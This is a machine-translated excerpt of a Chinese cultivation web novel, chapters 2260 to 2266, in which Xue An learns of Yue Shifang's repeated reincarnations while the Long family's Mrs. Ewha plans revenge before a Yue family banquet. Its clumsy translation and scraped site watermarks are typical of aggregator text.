    Because even though it was only fleeting, the breath still shocked Xue An.


    Even in the heavens, Xue An never felt such a strong shock when facing the world-destroying finger that was rooted out of the sky.


    This is a breath of countless dimensions more powerful than a saint...


    At this moment, Xue An seemed to push a door open in front of him, and the power he once thought became extremely ridiculous.


    "Do you feel it? This is called enough strength!" Yue Shifang asked extremely tired.


    Although only a slight aura was revealed just now, it still caused great pressure on him.


    It even darkened his eyes.


    Xue An nodded, his expression becoming solemn, "This is... the realm above the saint?"


    Yue Shifang nodded, "You can say the same!"


    Xue An took a deep breath and suddenly thought of something. He suppressed the boiling blood in his chest, "Since you are so strong, then who has beaten you so badly?"


    "Haha!" Yue Shifang laughed at himself, then gently turned the teacup on the table, "This is actually not a problem you should be concerned about now, because your strength is simply not enough to touch these!"


    "But I can only say that this is a lot worse than the real murderers you want to know behind the scenes!"


    Xue An was silent.


    For the first time, he felt a complete sense of powerlessness.


    It was as if an ant was facing a tall opponent as tall as Mount Tai.


    Yue Shifang did not urge, but quietly looked at Xue An, who bowed his head and said nothing. His eyes flashed with expectation and sympathy, but he was more relieved.


    If... he just gave up like this, it would actually be the most correct choice!


    Because only Yue Shifang knew what a dangerous and difficult road this would be if he continued to walk.


    But after only half a cup of tea, UU read Xue An raised his head, the previous consternation was wiped out.


    It was replaced by an almost ethereal calmness.


    "Then what can I know now?"


    This time, Yue Shifang was a little surprised.


    Because he didn''t expect Xue An to make a decision so quickly.


    "Have you really thought about it?" he couldn''t help asking.


    "of course!"


    "Haha!" Yue Shifang laughed again, and while laughing, he whispered to himself.


    "I''m so stupid! I forgot that you are Chinese."


    Then he narrowed his smile and turned to look at the scenery outside the flower hall, "It''s been a long time since I left this flower hall. Can you push me out for a stroll?"


    Of course Xue An would not refuse. He stood up and walked behind Yue Shifang, pushed up this special wheelchair, and walked out.

 Chapter 2261： Those past

    In fact, from the beginning, Xue An had discovered that his legs had been hanging weakly, and he had obviously lost the ability to walk.


    And when he really pushed the wheelchair, Xue An discovered that Yue Shifang was simply terrifying, as if there was nothing.


    Xue An raised his eyebrows slightly, and he couldn''t imagine what a thin body would be under that wide robe.


    After leaving the flower hall, Xue An pushed him slowly among the flowers.


    The flower hall is not big, and no matter how slow Xue An walks, it is only a cup of tea to finish shopping.


    But this Yue Shifang was very interested, as if this short walk was an extremely rare relaxation.


    "How much do you know about what happened back then?" Yue Shifang asked suddenly.


    "I only know that the Chinese people have suffered the unwarranted calamity, the gods and invisible black hands are all in trouble at the same time, causing the lives to be burnt, and the Chinese people are not a single one!"


    Listening to Xue An''s low tone, Yue Shifang couldn''t help sighing: "Yes, it was really a fierce battle!"


    "Later I started investigating, and finally, all the people in the heavens who had acted on the Chinese, whether they were gods or demons, were all swept away! But at this time I found out that the black hand behind the scenes originally pointed to the outside world..."


    "Then evil things invaded the heavens, right?"


    Xue An was silent.


    Yue Shifang laughed, and the conversation turned, "Do you know why I left that arsenal among the heavens?"


    "do not know!"


    "Surely you must have seen all the Kyokan in the arsenal!"


    "Ok!"


    "They are all Chinese warriors who died in battle!"


    Xue An''s footsteps trembled slightly, and then softly said: "I know!"


    As if recalling something, Yue Shifang''s eyes showed admiration, "The bones of the Chinese... are really hard!"


    "Facing an infinite enemy whose strength can be called a crushing force, but would rather die in battle until no one surrenders! That kind of courage, even the gods and demons have to be moved!"


    "Even if he is a mortal, such a person is a respectable warrior, so I sent someone to put him in the arsenal at that time, so as not to dissipate the heroic spirit!"


    When Yue Shifang spoke, Xue An''s hand gradually clenched, and red light loomed in his eyes, but after Yue Shifang finished speaking, he remained silent for a while, and then said calmly.


    "Thank you!"


    This thank you is sincere and sincere, from the bottom of my heart.


    "Hehe, no thanks, this is just what I should do."


    "Now I have one more question."


    "Say!"


    "You said that the behind-the-scenes existence is not something I can touch now. Then I want to know, where did the Chinese gods go at the time of the catastrophe?"


    Yue Shifang was startled slightly, "For example?"


    "For example, the ancient existence of Gonggong Zhu Rong, etc. and... later gods!" Xue An asked in a deep voice.


    Yue Shifang suddenly thought of something, and then chuckled lightly, "No wonder you ask like this, it turns out that you have already obtained Zhu Rong''s tinder inheritance, so can''t you see Zhoushan?"


    "Ok!"


    "how do you feel?"


    "I feel cold all over, and my scalp is numb!" Xue An told the truth.


    Yue Shifang laughed loudly, "Yes, these two descriptions can''t be more appropriate, they are really wonderful!"


    Xue An did not speak, but waited quietly, because he knew that Yue Shifang would definitely explain.


    really.


    After laughing for a long time, Yue Shifang finally calmed down, and then asked with a smile: "Do you want to ask, why does the existence in the myths and legends of the Chinese people on Earth appear in this heaven?"


    Xue An nodded, "Yes!"


    "Haha." Yue Shifang shook his head and chuckled, "It seems that you haven''t understood the nature of the matter!"


    As he said, Yue Shifang stretched out his hand and gently stroked a small flower next to the wheelchair, "Do you know the ancient hundred schools?"


    "of course!"


    "Then do you have any doubts!"


    "Have!"


    "tell me the story!"


    Xue An didn''t explain, but slowly said four words, "Hundreds of scholars!"


    "That''s right!" Yue Shifang sighed, touching his palm, "It''s all the scholars!"


    The brilliance loomed in Xue An''s eyes, and the doubt on his face became heavier.


    But at this moment Yue Shifang suddenly sighed, "What do you think history is?"


    "What is history?"


    "Yes! What do you think it is?"


    Although I don''t understand why Yue Shifang asked this, Xue An slowly said after thinking for a while: "History is the trajectory of the predecessors!"


    Unexpectedly, Yue Shifang shook his head, "Wrong! History is an illusion."


    This sentence is like a shock.


    Xue An even blurted out, "Illustration?"


    "To be precise, history should be a hymn written by the victor!" Yue Shifang said lightly.


    A flash of light flashed in Xue An''s mind, and then the whole person froze in place as if hit by a thunderbolt.


    Bu Zhoushan, Gong Gong Zhu Rong, military master of Yin and Yang family of law, Spring and Autumn and Warring States...


    Countless images are superimposed together, and there is a faint line running through the beginning and the end.


    "What did you think of?" Yue Shifang looked at Xue An expectantly.


    Xue An shook his head solemnly, "It''s just a vague impression, but I''m not sure yet!"


    "Haha! It''s great to be able to see a clue from the nihilism of history, and then you can slowly comprehend it, but you still remember my words. Knowing something too early will hurt you!"


    "Thank you!"


    This is the second time Xue An has said thank you, and more sincerely every time.


    Yue Shifang accepted it calmly, and then looked at Xue An with interest.


    "Next I will tell you, the answer you asked me in the beginning!"


    "Those Chinese gods have indeed disappeared, UU reading , but the only thing I can reveal to you is that the original Chinese catastrophe was far from a small wave in the corner of your place. It''s a big storm that has affected the entire universe, and even super beings have participated in it!"


    "All the gods are inevitable, and naturally they include your Chinese gods!"


    These words shocked Xue An''s body, because this was the first time he had spied the scene behind the dark. Although it was only a faint ray of light, the facts revealed were enough to make people tremble.


    "A big storm that affects everyone, and even super existence can''t be spared..." Xue An muttered to himself, his expression also fluctuating.


    Suddenly.


    He raised his head to look at Xiang Yue Shifang, and said dumbly: "Then where are they going now?"


    Yue Shifang shook his head, "I don''t know!"


    "In fact, no one in the entire Tianwaitian knows where they have gone, because so many years have passed, countless people have tried to find them, but they have not found even the slightest clue!"


    "It''s like...the world has evaporated!"

 Chapter 2262： Mrs. Ewha

    At the same time, in the dragon''s house ten million miles away, it was almost a mess.


    "Who is it that beat me like this!" a woman screamed hysterically.


    The people were silent, and didn''t even dare to lift their heads.


    Because it was Long Zhan''s mother, the concubine Ji in the thirteenth room of the Long Family Patriarch, and Mrs. Ewha.


    This woman relies on the love of Long Yushu, the head of the Long Family, who is domineering and domineering, especially if she doesn''t take people as a human being, she will be sentenced to death if she is careless.


    Therefore, this Mrs. Ewha was also privately called the Living Hades by the servants.


    Now her only son has been beaten up and the family spiritual doctor is rescuing it. No one knows the specific situation.


    One can imagine how angry this arrogant Mrs. Ewha should be.


    Therefore, people stayed away from her as much as possible, for fear of becoming a punching bag again.


    Mrs. Ewha was pacing back and forth like an angry lioness, her face becoming more and more gloomy.


    Now that the lord of the Long Family, Long Yushu, and many high-level elders are absent, she can be said to be covering the sky with one hand in the family.


    Today she was admiring a few looted treasures, but she didn''t expect this to happen.


    Now her heart is full of tyrannical murderous aura.


    at last.


    The door was pushed open, and the Long Family''s imperial physician walked out in sweat.


    Mrs. Ewha immediately stepped forward, "How about Zhan''er?"


    The spiritual doctor shook his head.


    Mrs. Ewha was dumbfounded.


    "Madam, please forgive us for doing our best. Now Long Shao is still in a coma."


    Mrs. Ewha trembled all over, and she was about to run away.


    The spiritual doctor hurriedly said: "Madam, don''t worry, there is still good news!"


    Mrs. Ewha''s eyes lit up, "Say!"


    "Because Long Shao is not infected with the fire poison, so at least his life is worry-free, but..."


    "Just what?"


    "It''s just that we have exhausted various methods to completely remove this fire poison, and this fire poison is extremely overbearing. It not only eroded Long Shao''s face, but also injured his soul, so..." The spiritual doctor was quite embarrassed. Said.


    "So Zhan''er might never be able to restore his previous appearance, right?" The Ewha lady suddenly calmed down.


    The spiritual doctor nodded, "Yes!"


    "Okay, I see, you go down first!" Mrs. Ewha said coldly.


    The spiritual doctor secretly breathed a sigh of relief, hurriedly gave a deep salute, and then fled.


    Because no one knows what Mrs. Ewha, who is always known for her brutality and cruelty, will do.


    Especially when her only son was seriously injured.


    And after the spiritual doctor had left, Mrs. Ewha rushed into the room.


    The room was filled with a faint fragrance of elixir, and Long Zhan was lying quietly on the bed with a thick ointment on his face, apparently still in a coma.


    Mrs. Ewha stood in front of the bed and watched quietly.


    The black elixir was obviously made of extremely rare water-based elixir, and after applying it to Long Zhan''s face, it was suffocating with cold air.


    But even so, you can still see many red dots flickering below.


    That is the remaining fire poison.


    Relying on the suppression of the elixir, the fire poison did not continue to penetrate further, and reached a delicate balance.


    But will Zhan''er live on this elixir mask from now on?


    Also, what kind of spiritual fire is so overbearing in this outer sky?


    These questions hovered in Mrs. Ewha''s mind, causing her to take a deep breath, and then slowly said, "Zhan''er, don''t worry, no matter who is the one who has committed the murderous hand to you, Madam will avenge you for you!"


    After that, she turned and walked out of the room, and directly found Liang Dikang and others.


    At this time, where did Liang Dikang and others still have the prestige before?


    After missing an arm, their strength plummeted, and because of the damage to their souls, they would never want to be diligent in their entire lives.


    Such a cruel reality made them dejected and depressed.


    It wasn''t until Mrs. Ewha came over that they calmed down a bit and bowed to salute.


    "lady!"


    Mrs. Ewha didn''t even look at the injuries of Liang Dikang and others. She just gritted her teeth and said: "What the **** is going on, tell me from the beginning!"


    "Yes!"


    Liang Dikang and others dared not hide it, so they told how Long Zhan approached them to vent their anger, and how they were defeated by Xue An.


    After listening, Mrs. Ewha''s eyebrows stood up, and she said in an infinitely bitter tone.


    "Yue Qinghuan! It turned out to be Zhan''er who was the victim of your little bitch. Today, I must ask you to let the whole Yue family give me an explanation!"


    With that, she turned around and left.


    Liang Dikang and the others looked at each other, and they all saw the light on each other''s faces.


    This Mrs. Ewha is a famous guardian.


    Long Zhan was seriously injured this time, and she would definitely not let it go.


    If you really find the Yue Family to ask for an explanation, that would be great.


    Maybe you can even get revenge for your own grudges!


    At this point, Liang Dikang and others immediately followed.


    And that was when Mrs. Ewha was about to rush to the Yue family aggressively.


    Long Chaoming, who was blasted out by the second girl from the Yue family, just arrived.


    "Mrs. Thirteen, what are you doing?" Long Chaoming asked strangely.


    "It''s Chao Ming, you came just right, now follow me to the Yue family!"


    "Why are you going to the Yue family?"


    Long Chaoming looked inexplicable, didn''t he just come out of the Yue family? Why go back again?


    "Vengeance!" Mrs. Ewha gritted her teeth.


    Long Chaoming didn''t understand, so he didn''t understand what was going on until Liang Dikang explained it, and then he couldn''t help being overjoyed.


    This Mrs. Ewha has always been favored. Although her strength is not that great, she has a magic weapon personally bestowed by Patriarch Long Yushu, which can be described as extremely difficult.


    Moreover, this time the Long Family is taking care of it. It is going to be a homecoming, and there may be unexpected gains!


    With this thought in mind, Long Chaoming immediately said: "This Yue family really deceived people too much, and actually dared to hurt my Long family child, Madam Thirteen, let''s go and ask for an explanation!"


    "go!"


    This line of people went to the Yue Family to be violent. UU reading www. uukanshu. com


    At the same time, in the flower hall of the Yue Family, Xue An finally woke up from consternation, and then lowered his eyes.


    "Okay, I get it!"


    Yue Shifang smiled, "Actually, you don''t have to put so much pressure on yourself. This matter is complicated and far from being able to be solved overnight!"


    "Actually I have one more thing I want to ask you!"


    "But it''s okay to speak!"


    "You really lived for ten thousand years?"


    Yue Shifang obviously didn''t expect that Xue An would ask about this, he couldn''t help but froze for a moment, and then chuckled lightly: "What do you think?"


    Xue An shook his head, "I don''t think it looks like it! Because your sister Yue Qinghuan is so old, if you really are an old monster who has lived for thousands of years, how can she be so old? Unless she is not a real sister!"

 Chapter 2263： Reincarnation

    "Sister, of course, is like a fake replacement. As for the question you said..."


    Yue Shifang raised his head to look at the flowers and plants in the distance, and said lightly: "Do you know the reincarnation of soldiers?"


    Xue An understood instantly, then looked at Yue Shifang in disbelief, "You..."


    Yue Shifang nodded and smiled tragically, "Unexpectedly, after dozens of reincarnations, I still haven''t been able to escape this severely wounded follower. From this, you can also know how powerful the people who dealt with me back then are! "


    Speaking of this, Yue Shifang suddenly felt a bit too much, so he turned his head to look at the flowers and plants next to the wheelchair.


    Despite this, Xue An''s keenness discovered the clues in the first place.


    Dozens of soldiers reincarnated....


    Judging from Yue Shifang''s current strength, although he was seriously injured, he could live at least a hundred years.


    In this way, the time period of his injury is also very clear.


    It should be ten thousand years ago!


    And if this is the case, then the identity of the person who injured him in the first place is worthy of scrutiny.


    But at least one thing is certain, that is, this person must be related to the Tribulation of the Chinese Clan, and is powerful to the point of horror.


    Otherwise, it would not force Yue Shifang''s soldiers to reincarnate dozens of times, but still failed to get rid of this tarsal maggot-like injury.


    These thoughts flashed through Xue An''s mind one by one, and finally he took a slow and deep breath.


    "Then how long is it from your next reincarnation?"


    "Three years! At most three years, I will re-enter the military solution and reincarnate again!" At this point, Yue Shifang''s eyes showed a strong look of exhaustion.


    Whoever it is, after dozens of military solutions, will be unlovable.


    Because this soldier''s reincarnation is not a simple dispersal and cultivation base, it is as simple as changing the body.


    Since there is the word rebirth, it means that you have to go through a complete reproductive process.


    Of course, like Yue Shifang''s cultivation base, naturally, there is no need to really invest in the mother''s womb. Generally, they will be replaced by fine gold jade or heavenly materials.


    But no matter what it is replaced by, the pain in the gestation process is unavoidable.


    This is still second, the key is that every time you experience a military solution, you will suffer a mystery of seclusion.


    This mystery of the yin barrier cannot be broken by people who are not wise and brave. This is also a severe test.


    At the same time, every military solution will cause irreversible damage to human spirits.


    Ordinary monks can''t even get through a military solution.


    But this Yue Shifang has solved dozens of times!


    This not only proves that his spirit is extremely powerful, but his strength has reached an incredible level.


    The most important thing is that such courage is simply amazing.


    Xue An looked at Yue Shifang, whose head was down and his back was very thin, and suddenly said: "If you believe me, I can try to help you!"


    "Help me? How can I help?"


    "Within three years, I will definitely be able to find a way to treat your injuries, save you from the pain of military relief, and even... stand up again!" Xue An said very seriously.


    To be honest, Yue Shifang wanted to laugh when he heard what Xue An said.


    Because the current Xue An is not even a half-step saint, but keeps saying that he wants to heal his injuries.


    How does this sound like a joke.


    But when he saw Xue An''s extremely serious look, he couldn''t laugh anymore.


    Not only couldn''t laugh, but after a moment of silence, he said very solemnly, "Thank you!"


    "No thanks, I''m also repaying you for the kindness of the Chinese warrior''s corpse! You know I am a Chinese. The Chinese have always repaid grievances and gratitude!


    Yue Shifang smiled, "You are indeed a very interesting person!"


    "You too!"


    The two laughed at the same time.


    In the laughter, the sky gradually dimmed, and the stars began to appear.


    The main star where the Yue family is located is in the middle of the whole branch, so countless bright stars can be seen.


    And in the sky, the huge star pillar that runs through the north and south illuminates half of the sky.


    At the same time, countless red lights floated above the Yue family, embellishing the entire Yue family house.


    The voice of a servant came from the door of the flower hall.


    "Patriarch, the dinner is ready!"


    "understood!"


    The servant retired, and Yue Shicong said to Xue An, "Go, this is a welcome dinner specially prepared for you and Huan''er!"


    Xue An did not ask Yue Shifang whether he would go, because it was obvious that he seemed to be unable to leave this flower hall at all.


    He just nodded, "Okay!"


    Then turned around and left.


    "Wait!"


    Xue An stopped and asked, "What''s the matter?"


    Yue Shifang seemed to have thought of something, sitting among the flowers with a bright smile, "Nothing, I wish you a happy dinner party!"


    Somehow, Xue An always felt that Yue Shifang''s smile contained a deep sense of narrowing.


    This feeling lingered in his heart until he left the flower hall.


    As he was thinking about it while turning into a veranda, a figure suddenly popped out in the shadow of the corner.


    "Hi!"


    Xue An stopped and looked at this man helplessly.


    "Hey, are you surprised?" Yue Qing asked with a smile.


    Xue An laughed and laughed, "What do you think?"


    Yue Qinghuan said with a disappointed look: "Can''t you pretend to be a perfunctory me?"


    Xue An was a little surprised at Yue Qinghuan''s words, but he quickly covered up this expression, and then shrugged, "Sorry, there is no such habit!"


    "Cut, if this is replaced by your wife, you will definitely not say that!"


    As soon as the words were spoken, Yue Qinghuan was shocked to say nothing, and quickly turned around and walked outside, muttering as he walked: "Hurry up, the banquet is almost ready, just wait for the two of us!"


    Xue An looked at Yue Qinghuan''s back with some meaningful meaning and then followed.


    "Aren''t you curious about what I talked about with your brother?" Xue An asked with a smile.


    This sentence finally freed Yue Qinghuan from the embarrassment she had just seen, and she smiled, "What is there to be curious about? It''s nothing more than those things back then! Oh, right...how is my brother now?"


    Xue An glanced at her, "You all know?"


    "Nonsense, I am his sister, how could I not know this, let alone the second sister has told me everything after returning!" Yue Qinghuan said to himself.


    "Then you don''t have any thoughts?"


    "What do you want? Sad or sad?" Yue Qinghuan laughed at herself, "I used to do that often, but then I figured it out. Since no matter how sad or sad, I can''t change reality, so why bother yourself!"


    "What''s more, my brother is just reincarnating as a soldier, and he doesn''t really want to leave me. I''m already mentally prepared for this!"

 Chapter 2264： Li Weis opportunity

    Backyard flower hall.


    Listening to the subtle footsteps coming from behind, Yue Shifang did not look back, but sighed softly, "Sure enough, I still can''t help you!"


    The footsteps stopped behind Yue Shifang, and then the second girl stretched out her hand and gently put it on the armrest of the wheelchair, turned and walked towards the pavilion.


    "Are you angry?"


    The second girl remained silent.


    "I didn''t mean to hide it from you, it''s just..."


    Yue Shifang suddenly stopped, because he noticed a little bit of chill coming from his shoulders, which made him sigh again.


    After pushing into the pavilion, the two girls slowly squatted down, then put their heads on Yue Shifang''s knees, crying silently.


    I saw large, crystal-like teardrops like diamonds pouring out from the corners of her eyes, dripping onto Yue Shifang''s legs, and they wetted a large area in the blink of an eye.


    Yue Shifang trembled slightly, then stretched out his hand to gently stroke the second girl''s hair, and said softly.


    "I''m fine, really, in fact I''m used to it..."


    But the more he said that, the more severe the shaking of the second girl''s shoulders.


    So soon Yue Shi closed his mouth obediently, and just stroked the second girl''s hair gently.


    After a long time, the second girl raised her head and gently took off the face towel, revealing a flawless face.


    It''s just that at this moment this amazing face is already covered with tears.


    "How long is there!"


    Yue Shifang was silent for a moment, then slowly said: "Three years!"


    "Is it so fast?"


    "Well! This time the injury broke out more rapidly than the previous few times."


    A deep sadness appeared in the eyes of the second girl.


    Somehow, this tender look puts Yue Shifang''s pressure even more than the most powerful enemy he encountered during the war.


    Yue Shifang quickly changed the subject, "Are you ready for the dinner party?"


    "Ok!"


    Speaking of this, the second girl couldn''t help but said with some doubts: "Are you sure that boy can handle the situation tonight?"


    Yue Shifang smiled, "I wasn''t sure to tell the truth before I saw him today, but after seeing him, I suddenly felt that this shouldn''t be a problem for him!"


    "So confident?"


    "Of course!" Yue Shifang couldn''t help but think of the scene where Xue An said to himself with a serious face that he would give him three years to heal his injuries, and the smile on the corners of his mouth became thicker.


    "I have always been incomprehensible, why do you want to keep those few jumping clowns and let them make trouble in the Yue family, in fact, as long as you speak, I can immediately kill them!" The second girl said in a puzzled manner.


    Yue Shifang smiled and said, "I know that you can clean them up without any effort, but I must give Huan''er and this boy a chance!"


    "Opportunity? What opportunity!"


    "An opportunity to stand up!" Yue Shifang said lightly.


    Smart as a second girl, she immediately understood what it meant, and then looked at Yue Shifang with weird eyes.


    "Do you want to marry Huan''er to this boy?"


    Yue Shifang chuckled and shook his head, "I did think so before, but now I have dispelled this idea!"


    "Why? I think Huan''er is very interesting to this young man!"


    "That won''t work, because the first time I saw this guy, I saw that there was a talisman hidden in his sea of ??consciousness. Although the talisman is heavily sealed, I can still sniff out a trace of breath!"


    "What breath?"


    "A breath from his blood! And there are still two."


    The second girl stopped talking.


    If there is a breath of blood from that young man, it means that he already has descendants of blood.


    In this way, it is really a bit tricky!


    Yue Shifang continued: "Although it is impossible to betroth Huan''er to him, this boy is really interesting and capable, so..."


    "So you want him to help Huan''er, especially during your reincarnation period, right?"


    "Correct!"


    An unbelievable color appeared on the second girl''s face, "But is this really possible? He is only a master at the Immortal Venerable level at best! How to guard the dignified Yue family?"


    "There are some things that you have to try before you know. The dinner later than today will be a test for him. If it can be solved, it means that he does have this ability!"


    "As long as he has this ability, then I can use these three years to build him into a sharp weapon of the Yue family, so as to assist Huan''er and gain a firm foothold in the twelve branches of the military strategist!"


    When he said these words, Yue Shifang''s eyes flashed with extremely cold and sharp aura.


    The second girl watched this scene a little drunk, but soon she moved her gaze away and whispered: "I understand, as long as he has this ability, I will help him by then!"


    Yue Shifang looked at her tenderly, and suddenly stretched out his hand and squeezed the second girl''s cheek, "Thank you!"


    The second girl''s face reddened immediately, she lowered her head, her long eyelashes trembled slightly, and whispered, "No thanks!"


    "No, thank you so much for taking it, because you don''t have to be so tired, it''s all because of me that drags you down..."


    The second girl suddenly raised her head, "Needless to say, everything is what I want, as long as you are there, I will always guard you!"


    Yue Shifang was stunned, looking at this determined girl, suddenly a little silent.


    At the same time, there was warm wind blowing outside the curtain, shaking the red light under the eaves of the corridor, bringing bursts of flower and grass fragrance.


    The second girl''s eyes were as bright as the stars in the sky, looking straight at Yue Shifang.


    A smell of love began to fill the air.


    But at this moment, a fat figure suddenly fell from mid-air.


    "Oh, but I fell to my death, Master Cat!"


    It is the tabby cat.


    Its sudden appearance immediately swept away the romantic atmosphere in the flower hall.


    The second girl glared at it, scared the tabby cat back again and again, and at the same time smiled and said: "You...you continue I just happened to pass by here, I didn''t see anything!"


    With that said, he turned around and wanted to escape.


    But it was too late, Yue Shifang chuckled, and gently stretched out his hand, his fingers directly traversed the void, came behind him, then grabbed the hair on the back of his neck and grabbed him back.


    "What are you doing running so fast? I have been eavesdropping in the void for so long, do I want to run?"


    The killing intent in the eyes of the two girls couldn''t help but become more intense.


    The tabby cat was so scared that his hair all stood upright, and he murmured secretly in his heart.


    This time is over, and if you mess with this aunt, you will have some good fruits of your own in the future.


    At the same time, Xue An and Yue Qinghuan finally arrived in front of the banquet hall.


    Seeing the arrival of Yue Qinghuan and Xue An, the people at the door quickly stepped aside.


    "I have seen Miss Three!"


    "I have seen Miss Three!"

 Chapter 2265： The storm before the banquet

    Yue Qinghuan nodded slightly, "Are people here?"


    "Miss Huisan, not yet!"


    "Okay, I get it!"


    With that said, Yue Qinghuan stepped into it.


    But at this moment, a smile suddenly came from behind him.


    "Hey, isn''t this Sister Qinghuan! When did Sister Qinghuan come back!"


    This voice is very cordial at first, but it is very yin and yang strange when it is listened carefully.


    At least Yue Qinghuan''s whole person was stiff, the smile on his face disappeared instantly, and he turned to look at the sound.


    But seeing a few flying planes landing, and then a group of people walked down from above, headed by a beautifully dressed woman.


    This woman is not unbelievably delicate, but she feels pretentious and pretentious in her every move.


    After seeing this woman, Yue Qinghuan sneered, "Who am I? It turned out to be Qinghua''s cousin. It''s been a long time since I saw you!"


    That''s right!


    The visitor was Yue Qinghuan''s cousin, a painting of Yue Qing who was also a child of the Yue family.


    It''s just that these two sisters have always been at odds.


    Since childhood, this Yue Qing painter has been jealous of Yue Qinghuan in every possible way.


    Because since childhood, as long as Yue Qinghuan appeared, the focus of everyone''s discussion must be her.


    However, Yue Qing''s paintings were treated as background boards every time and were completely ignored.


    This kind of treatment naturally makes Yue Qing painting unacceptable.


    In addition, her father, Yue Hongyuan, the oldest senior in the Yue family, has been fighting openly and secretly with the brothers and sisters of Yue Shifang.


    Therefore, this Yue Qing painting has long regarded her cousin Yue Qinghuan as the number one enemy in her life.


    This time I heard that she had returned from the outside and would like to host some welcome dinner.


    Of course she, who thinks she has made a lot of progress these days, wants to join in the fun.


    These careful thoughts, Yue Qinghuan naturally knew it well, so he did not show any rhetoric to her and directly fought back.


    Yue Qing painted a little dissatisfied in her heart, but soon she focused her attention on Xue An, who was standing aside.


    Xue An��s elegant and handsome temperament made her startled when she started, but when she noticed that Xue An had only the strength of the Immortal Venerable, a deep contempt immediately appeared in her eyes, and then Covering his mouth pretending to be exaggerated.


    "Oh, is this the man the cousin brought back from outside? Tsk tsk, looks good, but it''s an embroidered pillow, only the strength of the immortal class!"


    Yue Qinghuan''s face sank, and his heart was very angry.


    In any case, Xue An is the friend she brought back.


    This Yue Qing painting doesn''t need to talk about respect, but he even dared to satirize it face to face. Isn''t this intentionally ugly to her?


    So she will have a seizure.


    In terms of talent and strength, Yue Qing''s painting of eight horses can''t keep up with Yue Qinghuan''s half.


    Maybe she could see this too, she just smiled, suddenly turned around, and said in a voice that was extremely tender and even made people get goose bumps.


    "Oh, why are you still standing behind but not coming?"


    Following the voice, only a dark-faced, burly man came forward.


    This person is very big, and has a very strong evil spirit in his behavior, obviously his strength is not bad.


    When he walked closer, Yue Qing''s painting immediately took one of his arms with joy, and the show-off Chong Yue Qinghuan said: "Cousin Qinghuan, this is a friend I have recently met!"


    With her size and size, when she stood next to this man, she was really incongruent.


    But she didn''t care about these at all, instead she looked at Yue Qinghuan as a demonstration.


    Yue Qinghuan took a deep look at the man, and slowly said, "A member of the Sima family?"


    The man grinned, "Sima Tiancheng, heir of the Sima family, has seen Miss Yue!"


    This Sima family is also one of the twelve branches of the military strategist, and the strength is extremely strong, even stronger than the Yue family.


    That''s why this Yue Qing painting is so proud at this moment.


    But she didn''t notice. As he spoke, the Sima Tiancheng''s eyes had been secretly watching Yue Qinghuan, and there was a touch of stunning color on his face.


    Because compared with Yue Qing''s paintings, Yue Qinghuan''s appearance and temperament are much higher.


    Yue Qinghuan obviously noticed this too, and couldn''t help but frown slightly.


    Sima Tiancheng didn''t realize it, and said excitedly: "I have long heard that Miss Yue is a goddess recognized by the younger generation of military strategists. I always thought it was an exaggeration. Today, I saw her well-known and well-known..."


    Sima Tiancheng''s endlessly beautiful words made the look on Yue Qing''s face holding his hand gradually become weird.


    what is this?


    The man whom he finally clung to, even took his own innocence, but when they met, he showed great courtesy to his cousin.


    This feeling made her almost vomit blood.


    The look in Yue Qinghuan''s eyes was full of infinite resentment and jealousy.


    But Yue Qinghuan was not at all complacent.


    On the contrary, what she is most annoyed of is the compliments of these respectable men to herself.


    Because she can perceive the good and evil in the hearts of others since she was a child, she knows best how dirty the purpose behind these compliments is.


    But the Sima family is the same as the military strategist, and has a good relationship with the Yue family.


    With this consideration, Yue Qinghuan had no choice but to suppress the impatience and anger in his heart, standing still and listening.


    But the more I went down, the more there was no door in Sima Tiancheng''s mouth, the praise of his character from the very beginning gradually became a praise of Yue Qinghuan''s appearance and figure.


    This feeling of judging a girl''s quality is like complimenting a product, not a living person, with a strong insult.


    Yue Qinghuan''s complexion became more and more difficult to look.


    She wanted to have an episode, but she didn''t want to disrupt the dinner.


    At this moment, Xue An suddenly stretched out his hand and patted her on the shoulder. At the same time, he chuckled: "Let''s go, it''s getting late, we should go in!"


    As soon as this remark came out, Yue Qinghuan knew instantly, UU reading www.uukanshu. com nodded immediately.


    "Yeah! It''s time to get in!"


    After that, he turned around and walked to the banquet hall with Xue An.


    Sima Tiancheng, who was originally enthusiastic about "smelling sister", was stunned at that time.


    "Who is this kid?" He stared at Xue An''s back and said in a deep voice.


    Yue Qing, who had been standing awkwardly by the side without a chance to speak before, was delighted to see this scene and said immediately.


    "This man seems to be brought back by Yue Qinghuan from outside!"


    "Brought it back?" Sima Tiancheng''s eyes suddenly ignited with jealousy.


    "Yeah! It seems like this! But I think this Yue Qinghuan must have broken his brain, and he has found a small character at the Immortal Venerable level!" Yue Qinghua said deliberately.


    Sima Tiancheng sneered, "Xianzun...hehe, only ants! Let''s go!"


    As he said, he strode into the banquet hall.

 Chapter 2266： Gather together

    At this time, with the successive arrival of people, the banquet hall gradually became lively.


    As the protagonist of this dinner, Yue Qinghuan is naturally the focus of attention.


    Almost everyone who enters the banquet hall will greet her with a smile on his face.


    "Miss Three!"


    "Sister Three!"


    Yue Qinghuan frequently nodded and gave courtesy, making the atmosphere of the entire banquet hall very harmonious.


    But the more so, the more uncomfortable Yue Qing paintings were sitting in the far corner.


    "Huh, what''s the pretense! Isn''t it just going out? As for making such a big battle?" Yue Qing painted softly mumbled.


    Sima Tiancheng did not say a word. In fact, since entering this banquet hall, he has been alienating Yue Qing''s paintings intentionally or unintentionally.


    It''s just that this Yue Qing painting can be called a model of big brains, and she didn''t even notice this at all.


    Until this time after she mumbled Yue Qinghuan''s answer, she found that Sima Tiancheng hadn''t responded, so she couldn''t help but look up.


    Then she found that Sima Tiancheng was looking at Yue Qinghuan in the distance with piercing eyes. His eyes were really instantaneous.


    This time, Yue Qing''s painting finally couldn''t help it, and jealousy broke out on the spot.


    "Oh, brother Tiancheng, what are you looking at?"


    With that, Yue Qing''s painting hugged Sima Tiancheng''s arm and shook it intentionally or unintentionally.


    The gentle touch finally made Sima Tiancheng come back to his senses. He turned his head and glanced at his big fascinating eyes, pretending to be pitiful, looking at his Yue Qing painting, feeling a bit of boredom in his heart for no reason.


    How come they are also the children of the Yue family, so the gap between this lady and Yue Qinghuan is so big?


    Look at other people''s innocence and purity, and look at Yue Qing''s pretentious and pretentious painting.


    Sima Tiancheng couldn''t help snorting, "I didn''t see anything! What did you just say?"


    "Oh, Brother Tiancheng, didn''t you listen to what people said just now?" Yue Qing''s painting pouted, scornful.


    Sima Tiancheng frowned, "I was thinking about something very important just now, so I was distracted. If you want to say it, just say that you don''t want to say it!"


    With that, Sima Tiancheng wanted to stand up.


    Yue Qinghua was taken aback and quickly apologized.


    "Brother Tiancheng, I really didn''t mean it, don''t you want to be angry..."


